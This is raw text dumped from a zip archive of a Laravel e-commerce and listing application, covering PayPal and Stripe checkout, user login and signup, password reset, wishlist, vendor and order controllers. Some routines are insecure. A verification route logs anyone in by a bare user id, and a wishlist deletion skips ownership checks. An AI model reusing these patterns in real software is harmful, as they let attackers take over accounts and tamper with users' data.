($product->product_type == 'physical') { $stock = $product->stock - intval($item['quantity']); $product->update(['stock' => $stock]); } } // generate an invoice in pdf format $invoice = $purchaseProcess->generateInvoice($orderInfo, $productList); // then, update the invoice field info in database $orderInfo->update(['invoice' => $invoice]); // send a mail to the customer with the invoice $purchaseProcess->prepareMail($orderInfo); // remove all session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.complete'); } else { $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } } PK(\vrV !!=Http/Controllers/FrontEnd/PaymentGateway/PayPalController.phpnu[first(); $paypalData = json_decode($data->information, true); $paypal_conf = Config::get('paypal'); $paypal_conf['client_id'] = $paypalData['client_id']; $paypal_conf['secret'] = $paypalData['client_secret']; $paypal_conf['settings']['mode'] = $paypalData['sandbox_status'] == 1 ? 'sandbox' : 'live'; $this->api_context = new ApiContext( new OAuthTokenCredential( $paypal_conf['client_id'], $paypal_conf['secret'] ) ); $this->api_context->setConfig($paypal_conf['settings']); } public function index(Request $request, $paymentFor) { // get the products from session if ($request->session()->has('productCart')) { $productList = $request->session()->get('productCart'); } else { Session::flash('error', 'Something went wrong!'); return redirect()->route('shop.products'); } $purchaseProcess = new PurchaseProcessController(); // do calculation $calculatedData = $purchaseProcess->calculation($request, $productList); $currencyInfo = $this->getCurrencyInfo(); // changing the currency before redirect to PayPal if ($currencyInfo->base_currency_text !== 'USD') { $rate = floatval($currencyInfo->base_currency_rate); $convertedTotal = $calculatedData['grandTotal'] / $rate; } $paypalTotal = $currencyInfo->base_currency_text === 'USD' ? $calculatedData['grandTotal'] : $convertedTotal; $arrData = array( 'billing_name' => $request['billing_name'], 'billing_email' => $request['billing_email'], 'billing_phone' => $request['billing_phone'], 'billing_city' => $request['billing_city'], 'billing_state' => $request['billing_state'], 'billing_country' => $request['billing_country'], 'billing_address' => $request['billing_address'], 'shipping_name' => $request->checkbox == 1 ? $request['shipping_name'] : $request['billing_name'], 'shipping_email' => $request->checkbox == 1 ? $request['shipping_email'] : $request['billing_email'], 'shipping_phone' => $request->checkbox == 1 ? $request['shipping_phone'] : $request['billing_phone'], 'shipping_city' => $request->checkbox == 1 ? $request['shipping_city'] : $request['billing_city'], 'shipping_state' => $request->checkbox == 1 ? $request['shipping_state'] : $request['billing_state'], 'shipping_country' => $request->checkbox == 1 ? $request['shipping_country'] : $request['billing_country'], 'shipping_address' => $request->checkbox == 1 ? $request['shipping_address'] : $request['billing_address'], 'total' => $calculatedData['total'], 'discount' => $calculatedData['discount'], 'productShippingChargeId' => $request->exists('shipping_method') ? $request['shipping_method'] : null, 'shippingCharge' => $calculatedData['shippingCharge'], 'tax' => $calculatedData['tax'], 'grandTotal' => $calculatedData['grandTotal'], 'currencyText' => $currencyInfo->base_currency_text, 'currencyTextPosition' => $currencyInfo->base_currency_text_position, 'currencySymbol' => $currencyInfo->base_currency_symbol, 'currencySymbolPosition' => $currencyInfo->base_currency_symbol_position, 'paymentMethod' => 'PayPal', 'gatewayType' => 'online', 'paymentStatus' => 'completed', 'orderStatus' => 'pending' ); $title = 'Purchase Product'; $notifyURL = route('shop.purchase_product.paypal.notify'); $cancelURL = route('shop.purchase_product.cancel'); $payer = new Payer(); $payer->setPaymentMethod('paypal'); $item_1 = new Item(); $item_1->setName($title) /** item name **/ ->setCurrency('USD') ->setQuantity(1) ->setPrice($paypalTotal); /** unit price **/ $item_list = new ItemList(); $item_list->setItems(array($item_1)); $amount = new Amount(); $amount->setCurrency('USD') ->setTotal($paypalTotal); $transaction = new Transaction(); $transaction->setAmount($amount) ->setItemList($item_list) ->setDescription($title . ' via PayPal'); $redirect_urls = new RedirectUrls(); $redirect_urls->setReturnUrl($notifyURL) /** Specify return URL **/ ->setCancelUrl($cancelURL); $payment = new Payment(); $payment->setIntent('Sale') ->setPayer($payer) ->setRedirectUrls($redirect_urls) ->setTransactions(array($transaction)); try { $payment->create($this->api_context); } catch (\PayPal\Exception\PPConnectionException $ex) { return redirect($cancelURL)->with('error', $ex->getMessage()); } foreach ($payment->getLinks() as $link) { if ($link->getRel() == 'approval_url') { $redirectURL = $link->getHref(); break; } } // put some data in session before redirect to paypal url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('arrData', $arrData); $request->session()->put('paymentId', $payment->getId()); if (isset($redirectURL)) { /** redirect to paypal **/ return Redirect::away($redirectURL); } } public function notify(Request $request) { // get the information from session $paymentPurpose = $request->session()->get('paymentFor'); $productList = $request->session()->get('productCart'); $arrData = $request->session()->get('arrData'); $paymentId = $request->session()->get('paymentId'); $urlInfo = $request->all(); if (empty($urlInfo['token']) || empty($urlInfo['PayerID'])) { if ($paymentPurpose == 'product purchase') { return redirect()->route('shop.purchase_product.cancel'); } } /** Execute The Payment **/ $payment = Payment::get($paymentId, $this->api_context); $execution = new PaymentExecution(); $execution->setPayerId($urlInfo['PayerID']); $result = $payment->execute($execution, $this->api_context); if ($result->getState() == 'approved') { // remove this session datas $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $request->session()->forget('paymentId'); $purchaseProcess = new PurchaseProcessController(); // store product order information in database $orderInfo = $purchaseProcess->storeData($productList, $arrData); // then subtract each product quantity from respective product stock foreach ($productList as $key => $item) { $product = Product::query()->find($key); if ($product->product_type == 'physical') { $stock = $product->stock - intval($item['quantity']); $product->update(['stock' => $stock]); } } // generate an invoice in pdf format $invoice = $purchaseProcess->generateInvoice($orderInfo, $productList); // then, update the invoice field info in database $orderInfo->update(['invoice' => $invoice]); // send a mail to the customer with the invoice $purchaseProcess->prepareMail($orderInfo); // remove all session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.complete'); } else { $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $request->session()->forget('paymentId'); if ($paymentPurpose == 'product purchase') { // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } } } PK(\Jdd=Http/Controllers/FrontEnd/PaymentGateway/StripeController.phpnu[ 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator)->withInput(); } // card validation end // get the products from session if ($request->session()->has('productCart')) { $productList = $request->session()->get('productCart'); } else { Session::flash('error', 'Something went wrong!'); return redirect()->route('shop.checkout')->withInput(); } $purchaseProcess = new PurchaseProcessController(); // do calculation $calculatedData = $purchaseProcess->calculation($request, $productList); $currencyInfo = $this->getCurrencyInfo(); // changing the currency before redirect to Stripe if ($currencyInfo->base_currency_text !== 'USD') { $rate = floatval($currencyInfo->base_currency_rate); $convertedTotal = round(($calculatedData['grandTotal'] / $rate), 2); } $stripeTotal = $currencyInfo->base_currency_text === 'USD' ? $calculatedData['grandTotal'] : $convertedTotal; $arrData = array( 'billing_name' => $request['billing_name'], 'billing_email' => $request['billing_email'], 'billing_phone' => $request['billing_phone'], 'billing_city' => $request['billing_city'], 'billing_state' => $request['billing_state'], 'billing_country' => $request['billing_country'], 'billing_address' => $request['billing_address'], 'shipping_name' => $request->checkbox == 1 ? $request['shipping_name'] : $request['billing_name'], 'shipping_email' => $request->checkbox == 1 ? $request['shipping_email'] : $request['billing_email'], 'shipping_phone' => $request->checkbox == 1 ? $request['shipping_phone'] : $request['billing_phone'], 'shipping_city' => $request->checkbox == 1 ? $request['shipping_city'] : $request['billing_city'], 'shipping_state' => $request->checkbox == 1 ? $request['shipping_state'] : $request['billing_state'], 'shipping_country' => $request->checkbox == 1 ? $request['shipping_country'] : $request['billing_country'], 'shipping_address' => $request->checkbox == 1 ? $request['shipping_address'] : $request['billing_address'], 'total' => $calculatedData['total'], 'discount' => $calculatedData['discount'], 'productShippingChargeId' => $request->exists('shipping_method') ? $request['shipping_method'] : null, 'shippingCharge' => $calculatedData['shippingCharge'], 'tax' => $calculatedData['tax'], 'grandTotal' => $calculatedData['grandTotal'], 'currencyText' => $currencyInfo->base_currency_text, 'currencyTextPosition' => $currencyInfo->base_currency_text_position, 'currencySymbol' => $currencyInfo->base_currency_symbol, 'currencySymbolPosition' => $currencyInfo->base_currency_symbol_position, 'paymentMethod' => 'Stripe', 'gatewayType' => 'online', 'paymentStatus' => 'completed', 'orderStatus' => 'pending' ); try { // initialize stripe $stripe = new Stripe(); $stripe = Stripe::make(Config::get('services.stripe.secret')); try { // generate charge $charge = $stripe->charges()->create([ 'source' => $request->stripeToken, 'currency' => 'USD', 'amount' => $stripeTotal ]); if ($charge['status'] == 'succeeded') { // store product order information in database $orderInfo = $purchaseProcess->storeData($productList, $arrData); // then subtract each product quantity from respective product stock foreach ($productList as $key => $item) { $product = Product::query()->find($key); if ($product->product_type == 'physical') { $stock = $product->stock - intval($item['quantity']); $product->update(['stock' => $stock]); } } // generate an invoice in pdf format $invoice = $purchaseProcess->generateInvoice($orderInfo, $productList); // then, update the invoice field info in database $orderInfo->update(['invoice' => $invoice]); // send a mail to the customer with the invoice $purchaseProcess->prepareMail($orderInfo); // remove all session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.complete'); } else { // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } catch (CardErrorException $e) { Session::flash('error', $e->getMessage()); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } catch (UnauthorizedException $e) { Session::flash('error', $e->getMessage()); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } } PK(\PP,Http/Controllers/FrontEnd/UserController.phpnu[select('facebook_app_id', 'facebook_app_secret', 'google_client_id', 'google_client_secret') ->first(); Config::set('services.facebook.client_id', $bs->facebook_app_id); Config::set('services.facebook.client_secret', $bs->facebook_app_secret); Config::set('services.facebook.redirect', url('user/login/facebook/callback')); Config::set('services.google.client_id', $bs->google_client_id); Config::set('services.google.client_secret', $bs->google_client_secret); Config::set('services.google.redirect', url('login/google/callback')); } public function login(Request $request) { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['seoInfo'] = $language->seoInfo()->select('meta_keyword_login', 'meta_description_login')->first(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); // get the status of digital product (exist or not in the cart) if (!empty($request->input('digital_item'))) { $information['digitalProductStatus'] = $request->input('digital_item'); } $information['bs'] = Basic::query()->select('google_recaptcha_status', 'facebook_login_status', 'google_login_status')->first(); if ($request->redirectPath == 'listingDetails') { Session::put('redirectTo', URL::previous()); } if ($request->redirectPath == 'wishlist') { Session::put('redirectTo', URL::previous()); } return view('frontend.user.login', $information); } public function redirectToFacebook() { return Socialite::driver('facebook')->redirect(); } public function handleFacebookCallback(Request $request) { if ($request->has('error_code')) { Session::flash('error', $request->error_message); return redirect()->route('user.login'); } return $this->authenticationViaProvider('facebook'); } public function redirectToGoogle() { return Socialite::driver('google')->redirect(); } public function handleGoogleCallback() { return $this->authenticationViaProvider('google'); } public function authenticationViaProvider($driver) { // get the url from session which will be redirect after login if (Session::has('redirectTo')) { $redirectURL = Session::get('redirectTo'); } else { $redirectURL = route('user.dashboard'); } $responseData = Socialite::driver($driver)->user(); $userInfo = $responseData->user; $isUser = User::query()->where('email', '=', $userInfo['email'])->first(); if (!empty($isUser)) { // log in if ($isUser->status == 1) { Auth::guard('web')->login($isUser); return redirect($redirectURL); } else { Session::flash('error', 'Sorry, your account has been deactivated.'); return redirect()->route('user.login'); } } else { // get user avatar and save it $avatar = $responseData->getAvatar(); $fileContents = file_get_contents($avatar); $avatarName = $responseData->getId() . '.jpg'; $path = public_path('assets/img/users/'); file_put_contents($path . $avatarName, $fileContents); // sign up $user = new User(); if ($driver == 'facebook') { $user->name = $userInfo['name']; } else { $user->name = $userInfo['given_name']; } $user->image = $avatarName; $user->username = $userInfo['id']; $user->email = $userInfo['email']; $user->email_verified_at = date('Y-m-d H:i:s'); $user->status = 1; $user->provider = ($driver == 'facebook') ? 'facebook' : 'google'; $user->provider_id = $userInfo['id']; $user->save(); Auth::guard('web')->login($user); return redirect($redirectURL); } } public function loginSubmit(Request $request) { // get the url from session which will be redirect after login if ($request->session()->has('redirectTo')) { $redirectURL = $request->session()->get('redirectTo'); } else { $redirectURL = null; } $rules = [ 'username' => 'required', 'password' => 'required' ]; $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $messages = []; if ($info->google_recaptcha_status == 1) { $messages['g-recaptcha-response.required'] = 'Please verify that you are not a robot.'; $messages['g-recaptcha-response.captcha'] = 'Captcha error! try again later or contact site admin.'; } $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->route('user.login')->withErrors($validator->errors())->withInput(); } // get the email and password which has provided by the user $credentials = $request->only('username', 'password'); // login attempt if (Auth::guard('web')->attempt($credentials)) { $authUser = Auth::guard('web')->user(); // second, check whether the user's account is active or not if ($authUser->email_verified_at == null) { Session::flash('error', 'Please verify your email address'); // logout auth user as condition not satisfied Auth::guard('web')->logout(); return redirect()->back(); } if ($authUser->status == 0) { Session::flash('error', 'Sorry, your account has been deactivated'); // logout auth user as condition not satisfied Auth::guard('web')->logout(); return redirect()->back(); } // otherwise, redirect auth user to next url if (is_null($redirectURL)) { return redirect()->route('user.dashboard'); } else { // before, redirect to next url forget the session value $request->session()->forget('redirectTo'); return redirect($redirectURL); } } else { Session::flash('error', 'Incorrect username or password'); return redirect()->back(); } } public function forgetPassword() { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['seoInfo'] = $language->seoInfo()->select('meta_keyword_forget_password', 'meta_description_forget_password')->first(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $information['bs'] = Basic::query()->select('google_recaptcha_status', 'facebook_login_status', 'google_login_status')->first(); return view('frontend.user.forget-password', $information); } public function forgetPasswordMail(Request $request) { $rules = [ 'email' => [ 'required', 'email:rfc,dns', new MatchEmailRule('user') ] ]; $info = Basic::select('google_recaptcha_status')->first(); $messages = []; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors())->withInput(); } $user = User::query()->where('email', '=', $request->email)->first(); // store user email in session to use it later $request->session()->put('userEmail', $user->email); // get the mail template information from db $mailTemplate = MailTemplate::query()->where('mail_type', '=', 'reset_password')->first(); $mailData['subject'] = $mailTemplate->mail_subject; $mailBody = $mailTemplate->mail_body; // get the website title info from db $info = Basic::select('website_title')->first(); $name = $user->username; $link = 'Click Here'; $mailBody = str_replace('{customer_name}', $name, $mailBody); $mailBody = str_replace('{password_reset_link}', $link, $mailBody); $mailBody = str_replace('{website_title}', $info->website_title, $mailBody); $mailData['body'] = $mailBody; $mailData['recipient'] = $user->email; $mailData['sessionMessage'] = 'A mail has been sent to your email address'; BasicMailer::sendMail($mailData); return redirect()->back(); } public function resetPassword() { $misc = new MiscellaneousController(); $bgImg = $misc->getBreadcrumb(); return view('frontend.user.reset-password', compact('bgImg')); } public function resetPasswordSubmit(Request $request) { if ($request->session()->has('userEmail')) { // get the user email from session $emailAddress = $request->session()->get('userEmail'); $rules = [ 'new_password' => 'required|confirmed', 'new_password_confirmation' => 'required' ]; $messages = [ 'new_password.confirmed' => 'Password confirmation failed.', 'new_password_confirmation.required' => 'The confirm new password field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $user = User::query()->where('email', '=', $emailAddress)->first(); $user->update([ 'password' => Hash::make($request->new_password) ]); Session::flash('success', 'Password updated successfully.'); } else { Session::flash('error', 'Something went wrong!'); } return redirect()->route('user.login'); } public function signup() { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['seoInfo'] = $language->seoInfo()->select('meta_keyword_signup', 'meta_description_signup')->first(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $information['recaptchaInfo'] = Basic::select('google_recaptcha_status')->first(); return view('frontend.user.signup', $information); } public function signupSubmit(Request $request) { $info = Basic::select('google_recaptcha_status', 'website_title')->first(); // validation start $rules = [ 'username' => 'required|unique:users|max:255', 'email' => 'required|email:rfc,dns|unique:users|max:255', 'password' => 'required|confirmed', 'password_confirmation' => 'required' ]; if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $messages = [ 'password_confirmation.required' => 'The confirm password field is required.' ]; if ($info->google_recaptcha_status == 1) { $messages['g-recaptcha-response.required'] = 'Please verify that you are not a robot.'; $messages['g-recaptcha-response.captcha'] = 'Captcha error! try again later or contact site admin.'; } $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors())->withInput(); } // validation end $user = new User(); $user->username = $request->username; $user->email = $request->email; $user->status = 1; $user->password = Hash::make($request->password); $user->save(); // get the mail template information from db $mailTemplate = MailTemplate::query()->where('mail_type', '=', 'verify_email')->first(); $mailData['subject'] = $mailTemplate->mail_subject; $mailBody = $mailTemplate->mail_body; $link = 'Click Here'; $mailBody = str_replace('{username}', $user->username, $mailBody); $mailBody = str_replace('{verification_link}', $link, $mailBody); $mailBody = str_replace('{website_title}', $info->website_title, $mailBody); $mailData['body'] = $mailBody; $mailData['recipient'] = $user->email; $mailData['sessionMessage'] = 'A verification mail has been sent to your email address'; BasicMailer::sendMail($mailData); $information['authUser'] = $user; return back(); } public function signupVerify($id) { $user = User::where('id', $id)->firstOrFail(); $user->email_verified_at = Carbon::now(); $user->save(); Auth::login($user); return redirect()->route('user.dashboard'); } public function redirectToDashboard() { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['language'] = $language; $information['bgImg'] = $misc->getBreadcrumb(); $information['pageHeading'] = $misc->getPageHeading($language); $user = Auth::guard('web')->user(); $information['authUser'] = $user; $information['wishlists'] = Wishlist::where('user_id', $user->id) ->join('listings', 'listings.id', '=', 'wishlists.listing_id') ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('vendors', 'listings.vendor_id', '=', 'vendors.id') ->where(function ($query) { $query->where([ ['vendors.status', '=', 1], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->get(); $information['orders'] = ProductOrder::where('user_id', Auth::guard('web')->user()->id)->orderBy('id', 'desc')->get(); $information['supportTickets'] = SupportTicket::where([['user_id', Auth::guard('web')->user()->id], ['user_type', 'user']])->orderBy('id', 'desc')->get(); return view('frontend.user.dashboard', $information); } public function editProfile() { $misc = new MiscellaneousController(); $information['bgImg'] = $misc->getBreadcrumb(); $language = $misc->getLanguage(); $information['pageHeading'] = $misc->getPageHeading($language); $information['authUser'] = Auth::guard('web')->user(); return view('frontend.user.edit-profile', $information); } public function updateProfile(Request $request) { if ($request->image) { $image = true; } else { $image = false; } $request->validate([ 'image' => $image ? [ 'required', 'dimensions:width=80,height=80', new ImageMimeTypeRule() ] : '', 'name' => 'required', 'username' => [ 'required', 'alpha_dash', Rule::unique('users', 'username')->ignore(Auth::guard('web')->user()->id), ], 'email' => [ 'required', 'email', Rule::unique('users', 'email')->ignore(Auth::guard('web')->user()->id) ], ]); $authUser = Auth::guard('web')->user(); $in = $request->all(); $file = $request->file('image'); if ($file) { $extension = $file->getClientOriginalExtension(); $directory = public_path('assets/img/users/'); $fileName = uniqid() . '.' . $extension; @mkdir($directory, 0775, true); $file->move($directory, $fileName); $in['image'] = $fileName; @unlink(public_path('assets/img/users/') . $authUser->image); } $authUser->update($in); Session::flash('success', 'Your profile has been updated successfully.'); return redirect()->back(); } public function changePassword() { $misc = new MiscellaneousController(); $bgImg = $misc->getBreadcrumb(); $language = $misc->getLanguage(); $pageHeading = $misc->getPageHeading($language); return view('frontend.user.change-password', compact('bgImg', 'pageHeading')); } public function updatePassword(Request $request) { $rules = [ 'current_password' => [ 'required', new MatchOldPasswordRule('user') ], 'new_password' => 'required|confirmed', 'new_password_confirmation' => 'required' ]; $messages = [ 'new_password.confirmed' => 'Password confirmation failed.', 'new_password_confirmation.required' => 'The confirm new password field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $user = Auth::guard('web')->user(); $user->update([ 'password' => Hash::make($request->new_password) ]); Session::flash('success', 'Password updated successfully.'); return redirect()->back(); } //wishlist public function wishlist() { $misc = new MiscellaneousController(); $bgImg = $misc->getBreadcrumb(); $language = $misc->getLanguage(); $information['language'] = $language; $information['pageHeading'] = $misc->getPageHeading($language); $information['language'] = $language; $user_id = Auth::guard('web')->user()->id; $wishlists = Wishlist::where('user_id', $user_id) ->join('listings', 'listings.id', '=', 'wishlists.listing_id') ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('vendors', 'listings.vendor_id', '=', 'vendors.id') ->where(function ($query) { $query->where([ ['vendors.status', '=', 1], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->get(); $information['bgImg'] = $bgImg; $information['wishlists'] = $wishlists; return view('frontend.user.wishlist', $information); } //add_to_wishlist public function add_to_wishlist($id) { if (Auth::guard('web')->check()) { $user_id = Auth::guard('web')->user()->id; $check = Wishlist::where('listing_id', $id)->where('user_id', $user_id)->first(); if (!empty($check)) { return back()->with('error', 'Added to your wishlist successfully.'); } else { $add = new Wishlist; $add->listing_id = $id; $add->user_id = $user_id; $add->save(); return back()->with('success', 'Added to your wishlist successfully.'); } } else { return redirect()->route('user.login', ['redirectPath' => 'wishlist']); } } //remove_wishlist public function remove_wishlist($id) { if (Auth::guard('web')->check()) { $remove = Wishlist::where('listing_id', $id)->first(); if ($remove) { $remove->delete(); return back()->with('success', 'Removed From wishlist successfully..!'); } else { return back()->with('warning', 'Something went wrong.'); } } else { return redirect()->route('user.login', ['redirectPath' => 'wishlist']); } } public function logoutSubmit(Request $request) { Auth::guard('web')->logout(); Session::forget('secret_login'); if ($request->session()->has('redirectTo')) { $request->session()->forget('redirectTo'); } return redirect()->route('user.login'); } } PK(\V##.Http/Controllers/FrontEnd/VendorController.phpnu[getLanguage(); $information['language'] = $language; $information['pageHeading'] = $misc->getPageHeading($language); $information['seoInfo'] = $language->seoInfo()->select('meta_keywords_vendor_page', 'meta_description_vendor_page')->first(); $name = $location = null; $vendorIds = []; $vendorIds = []; if ($request->filled('name')) { $name = $request->name; $u_infos = Vendor::where('vendors.username', 'like', '%' . $name . '%')->get(); $v_infos = VendorInfo::where([['vendor_infos.name', 'like', '%' . $name . '%'], ['language_id', $language->id]])->get(); foreach ($u_infos as $info) { if (!in_array($info->id, $vendorIds)) { array_push($vendorIds, $info->id); } } foreach ($v_infos as $v_info) { if (!in_array($v_info->vendor_id, $vendorIds)) { array_push($vendorIds, $v_info->vendor_id); } } } if ($request->filled('location')) { $location = $request->location; } if ($request->filled('location')) { $vendor_contents = VendorInfo::where('country', 'like', '%' . $location . '%') ->orWhere('city', 'like', '%' . $location . '%') ->orWhere('state', 'like', '%' . $location . '%') ->orWhere('zip_code', 'like', '%' . $location . '%') ->orWhere('address', 'like', '%' . $location . '%') ->get(); foreach ($vendor_contents as $vendor_content) { if (!in_array($vendor_content->vendor_id, $vendorIds)) { array_push($vendorIds, $vendor_content->vendor_id); } } } $information['bgImg'] = $misc->getBreadcrumb(); $information['admin'] = Admin::when($name, function ($query) use ($name) { return $query->where('admins.username', 'like', '%' . $name . '%'); }) ->when($location, function ($query) use ($location) { return $query->where('admins.address', 'like', '%' . $location . '%'); }) ->Where('admins.id', 1) ->first(); $information['vendors'] = Vendor::join('memberships', 'memberships.vendor_id', 'vendors.id') ->where([ ['memberships.status', 1], ['memberships.start_date', '<=', Carbon::now()->format('Y-m-d')], ['memberships.expire_date', '>=', Carbon::now()->format('Y-m-d')], ]) ->where('vendors.status', 1) ->when($name, function ($query) use ($vendorIds) { return $query->whereIn('vendors.id', $vendorIds); }) ->when($location, function ($query) use ($vendorIds) { return $query->whereIn('vendors.id', $vendorIds); }) ->where('vendors.id', '!=', 0) ->select('vendors.*', 'vendors.id as vendorId', 'memberships.*') ->paginate(10); return view('frontend.vendor.index', $information); } //details public function details(Request $request) { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['language'] = $language; $information['bgImg'] = $misc->getBreadcrumb(); $information['pageHeading'] = $misc->getPageHeading($language); if ($request->username == "admin") { $vendor = Admin::first(); $vendor_id = 0; } else { $vendor = Vendor::join('memberships', 'memberships.vendor_id', 'vendors.id') ->where([ ['memberships.status', 1], ['memberships.start_date', '<=', Carbon::now()->format('Y-m-d')], ['memberships.expire_date', '>=', Carbon::now()->format('Y-m-d')], ]) ->where('vendors.username', $request->username) ->where('vendors.status', 1) ->select('vendors.*') ->firstOrFail(); $vendorInfo = VendorInfo::where([['vendor_id', $vendor->id], ['language_id', $language->id]])->first(); $information['vendorInfo'] = $vendorInfo; $vendor_id = $vendor->id; } $information['vendor'] = $vendor; $information['vendor_id'] = $vendor_id; $information['categories'] = ListingCategory::where([['language_id', $language->id], ['status', 1]])->get(); $information['listings'] = Listing::where([['listings.vendor_id', $vendor_id], ['listings.status', '=', '1'], ['listings.visibility', '=', '1']]) ->orderBy('id', 'desc') ->get(); $secInfo = Section::query()->select('subscribe_section_status')->first(); $information['secInfo'] = $secInfo; $information['currencyInfo'] = $this->getCurrencyInfo(); $information['info'] = Basic::select('google_recaptcha_status')->first(); return view('frontend.vendor.details', $information); } //contact public function contact(Request $request) { $rules = [ 'name' => 'required', 'email' => 'required|email:rfc,dns', 'subject' => 'required', 'message' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back() ->with('error', 'Field is missing') ->withInput(); } $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $messageArray = []; if ($info->google_recaptcha_status == 1) { $messageArray['g-recaptcha-response.required'] = 'Please verify that you are not a robot.'; $messageArray['g-recaptcha-response.captcha'] = 'Captcha error! try again later or contact site admin.'; } $validator = Validator::make($request->all(), $rules, $messageArray); if ($validator->fails()) { return response()->json(['errors' => $validator->getMessageBag()->toArray()], 400); } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name')->firstOrFail(); $c_message = nl2br($request->message); $msg = "

Name : $request->name

Email : $request->email

Message :

$c_message

"; $data = [ 'to' => $request->vendor_email, 'subject' => $request->subject, 'message' => $msg, ]; if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['message'], 'text/html'); }); } Session::flash('success', 'Message sent successfully'); return back(); } catch (\Exception $e) { Session::flash('error', 'Something went wrong.'); return back(); } } } PK(\5+MM,Http/Controllers/FrontEnd/PageController.phpnu[getLanguage(); $information['bgImg'] = $misc->getBreadcrumb(); $id = PageContent::Where('slug', $slug)->firstorFail(); $information['pageInfo'] = Page::join('page_contents', 'pages.id', '=', 'page_contents.page_id') ->where('pages.status', '=', 1) ->where('page_contents.language_id', '=', $language->id) ->where('page_contents.page_id', '=', $id->page_id) ->findOrFail($id->page_id); return view('frontend.custom-page', $information); } } PK(\& +Http/Controllers/FrontEnd/FaqController.phpnu[getLanguage(); $information['pageHeading'] = $misc->getPageHeading($language); $information['seoInfo'] = $language->seoInfo()->select('meta_keyword_faq', 'meta_description_faq')->first(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $information['faqs'] = $language->faq()->orderBy('serial_number', 'asc')->get(); return view('frontend.faq', $information); } } PK(\*w -Http/Controllers/FrontEnd/OrderController.phpnu[getLanguage(); $information['bgImg'] = $misc->getBreadcrumb(); $information['pageHeading'] = $misc->getPageHeading($language); $information['orders'] = ProductOrder::where('user_id', Auth::guard('web')->user()->id)->orderBy('id', 'desc')->get(); return view('frontend.user.order.index', $information); } //details public function details($id) { $misc = new MiscellaneousController(); $queryResult['bgImg'] = $misc->getBreadcrumb(); $language = $misc->getLanguage(); $queryResult['pageHeading'] = $misc->getPageHeading($language); $order = ProductOrder::query()->find($id); if ($order) { if ($order->user_id != Auth::guard('web')->user()->id) { return redirect()->route('user.dashboard'); } $queryResult['order'] = $order; $queryResult['tax'] = Basic::select('product_tax_amount')->first(); $items = $order->item()->get(); $items->map(function ($item) use ($language) { $product = $item->productInfo()->first(); $item['price'] = $product->current_price; $item['productType'] = $product->product_type; $item['inputType'] = $product->input_type; $item['link'] = $product->link; $content = $product->content()->where('language_id', 